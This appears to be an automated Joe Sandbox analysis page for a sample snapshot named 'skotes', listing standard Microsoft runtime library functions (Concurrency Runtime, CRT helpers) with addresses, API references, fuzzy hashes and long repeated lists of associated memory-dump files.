Associated: 00000005.00000002.3346016592.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346278578.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346336703.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346418269.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346462442.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346527626.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346617708.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346696322.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: List$AcquireConcurrency::details::_Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorLock::_ReaderSafeWriteWriterstd::invalid_argument::invalid_argument
String ID: eventObject
API String ID: 1288476792-1680012138
Opcode ID: a4c0e1c8a0453703a5d251b32489f2c6086f3d7ae8016d9a41ca149e1f55ebfa
Instruction ID: a3c39d913b2341fee98d991158dbd77e65ba5dfda8b6e39b5e965d4e774a1c73
Opcode Fuzzy Hash: a4c0e1c8a0453703a5d251b32489f2c6086f3d7ae8016d9a41ca149e1f55ebfa
Instruction Fuzzy Hash: 28110875544204FBDB24FBA4CC46FEF73786F41744F244215B505EA1C1DB78AA05C6B1

Function 007AA0EE Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35threadCOMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::GetCurrentThreadExecutionResource.LIBCMT ref: 007AA102
Concurrency::details::ResourceManager::RemoveExecutionResource.LIBCONCRT ref: 007AA126
std::invalid_argument::invalid_argument.LIBCONCRT ref: 007AA139

Strings

pScheduler, xrefs: 007AA131

Memory Dump Source

Source File: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.3342014723.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342167927.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342571928.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342682379.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342755895.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343236306.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343319215.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343572795.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343700158.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343833720.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343905263.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344001833.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344172223.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344286360.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344468329.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344576043.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344677328.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344916998.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344976898.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345058459.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345124470.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345220371.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345320846.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345393248.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345462360.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345548165.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345653327.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345760829.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345818547.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345882043.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345944526.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346016592.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346278578.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346336703.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346418269.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346462442.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346527626.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346617708.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346696322.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: Resource$Concurrency::details::Execution$CurrentManager::Proxy::RemoveSchedulerThreadstd::invalid_argument::invalid_argument
String ID: pScheduler
API String ID: 246774199-923244539
Opcode ID: 7cc5d586e4b753b76cc217082dcb01d58fc30b685d01af23648ca248c227f056
Instruction ID: 763eb757e4ff996d981289b1099fef77f8703c2477ed1359ed880407d840ec9f
Opcode Fuzzy Hash: 7cc5d586e4b753b76cc217082dcb01d58fc30b685d01af23648ca248c227f056
Instruction Fuzzy Hash: 03F0E975900208F7C725FA54EC86C9EB3799EC2714B208329E40657181DB7CAE45CBD2

Function 007C67A9 Relevance: 6.2, APIs: 4, Instructions: 245COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 007C6902
__alloca_probe_16.LIBCMT ref: 007C6998
__freea.LIBCMT ref: 007C6A03
__freea.LIBCMT ref: 007C6A0F

Memory Dump Source

Source File: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.3342014723.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342167927.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342571928.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342682379.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342755895.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343236306.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343319215.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343572795.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343700158.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343833720.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343905263.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344001833.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344172223.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344286360.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344468329.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344576043.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344677328.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344916998.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344976898.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345058459.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345124470.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345220371.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345320846.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345393248.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345462360.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345548165.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345653327.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345760829.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345818547.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345882043.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345944526.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346016592.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346278578.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346336703.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346418269.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346462442.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346527626.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346617708.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346696322.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: __alloca_probe_16__freea
String ID:
API String ID: 1635606685-0
Opcode ID: 85cc85e5a667432c0738b78d70d42b986f372be343f6aced241a5be1d6950d16
Instruction ID: a5eb1de4136e4d32325c9fb95b300bf499f39a5e21053d1c32080d251802a143
Opcode Fuzzy Hash: 85cc85e5a667432c0738b78d70d42b986f372be343f6aced241a5be1d6950d16
Instruction Fuzzy Hash: 5681AE72D00245ABDF20AE6488C5FEE7BF9AF49714F19805DE805B7281E73DDC408BA1

Function 007B504E Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 007B5115
___AdjustPointer.LIBCMT ref: 007B5138
___AdjustPointer.LIBCMT ref: 007B51D4

Memory Dump Source

Source File: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.3342014723.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342167927.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342571928.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342682379.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342755895.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343236306.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343319215.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343572795.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343700158.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343833720.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343905263.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344001833.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344172223.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344286360.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344468329.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344576043.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344677328.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344916998.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344976898.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345058459.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345124470.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345220371.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345320846.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345393248.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345462360.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345548165.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345653327.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345760829.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345818547.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345882043.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345944526.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346016592.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346278578.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346336703.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346418269.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346462442.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346527626.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346617708.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346696322.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 8d9f4253df27dcc7e3754f71cfa8fec7f9096557ca208b49321eb3340ed59487
Instruction ID: 76a370d4a2c1aaf52d24ee0cd9239e49920ab3341e8981a813bd40dc3d4b28d2
Opcode Fuzzy Hash: 8d9f4253df27dcc7e3754f71cfa8fec7f9096557ca208b49321eb3340ed59487
Instruction Fuzzy Hash: 5B51E372601A0EEFDB299F18D845BFA73B5FF14310F248529E80197291E739ED41DB91

Function 007B4C15 Relevance: 6.1, APIs: 4, Instructions: 141COMMON

Download Yara Rule

APIs

TypeidsEqual.LIBVCRUNTIME ref: 007B4C66
TypeidsEqual.LIBVCRUNTIME ref: 007B4C8B
PMDtoOffset.LIBCMT ref: 007B4CA1
PMDtoOffset.LIBCMT ref: 007B4D22

Memory Dump Source

Source File: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.3342014723.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342167927.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342571928.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342682379.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342755895.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343236306.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343319215.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343572795.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343700158.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343833720.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343905263.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344001833.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344172223.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344286360.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344468329.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344576043.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344677328.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344916998.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344976898.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345058459.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345124470.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345220371.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345320846.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345393248.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345462360.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345548165.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345653327.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345760829.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345818547.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345882043.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345944526.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346016592.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346278578.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346336703.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346418269.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346462442.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346527626.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346617708.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346696322.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: EqualOffsetTypeids
String ID:
API String ID: 1707706676-0
Opcode ID: 7eba31bc2cdc899ce0d39c1d43e6a64f477002fbbb014f00cff841445868ded1
Instruction ID: 001a3327260a06f388c80bb6d1f4e239849eec228e7e5a4ef41f65bf9a8a2084
Opcode Fuzzy Hash: 7eba31bc2cdc899ce0d39c1d43e6a64f477002fbbb014f00cff841445868ded1
Instruction Fuzzy Hash: EE518A35B042099FDF11CF68C4807EEBBF5EF15354F14449AE950A7352D73AAA05CBA0

Function 007ADB30 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 007ADB64

Part of subcall function 007A8F2F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 007A8F50

Concurrency::details::InternalContextBase::FindWorkForBlockingOrNesting.LIBCONCRT ref: 007ADBC3
Concurrency::details::InternalContextBase::PrepareForUse.LIBCONCRT ref: 007ADBE9
Concurrency::location::_Assign.LIBCMT ref: 007ADC56

Memory Dump Source

Source File: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.3342014723.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342167927.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342571928.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342682379.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342755895.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343236306.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343319215.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343572795.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343700158.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343833720.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343905263.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344001833.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344172223.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344286360.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344468329.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344576043.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344677328.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344916998.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344976898.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345058459.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345124470.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345220371.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345320846.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345393248.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345462360.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345548165.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345653327.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345760829.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345818547.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345882043.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345944526.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346016592.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346278578.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346336703.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346418269.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346462442.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346527626.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346617708.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346696322.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: Context$Base::Concurrency::details::$EventInternal$AssignBlockingConcurrency::location::_FindNestingPrepareThrowTraceWork
String ID:
API String ID: 1091748018-0
Opcode ID: 7dc4e568f699399dfca8afca311fb17e2e2b5be53ff809ed7c383f111348b16d
Instruction ID: 6b94eecce37b68f723548dc90bf205d968d3474a8d2e8fec5a9f6b4f9054b073
Opcode Fuzzy Hash: 7dc4e568f699399dfca8afca311fb17e2e2b5be53ff809ed7c383f111348b16d
Instruction Fuzzy Hash: 8241E770604214FFCF299B24C88ABBDBB75AF86720F044299E5075B7C2CB78AD45C7A1

Function 007A56AF Relevance: 6.1, APIs: 4, Instructions: 117COMMONLIBRARYCODE

Download Yara Rule

APIs

_InternalDeleteHelper.LIBCONCRT ref: 007A56F2
_InternalDeleteHelper.LIBCONCRT ref: 007A5726
Concurrency::details::SchedulerBase::TraceSchedulerEvent.LIBCMT ref: 007A578B
SafeRWList.LIBCONCRT ref: 007A579A

Memory Dump Source

Source File: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

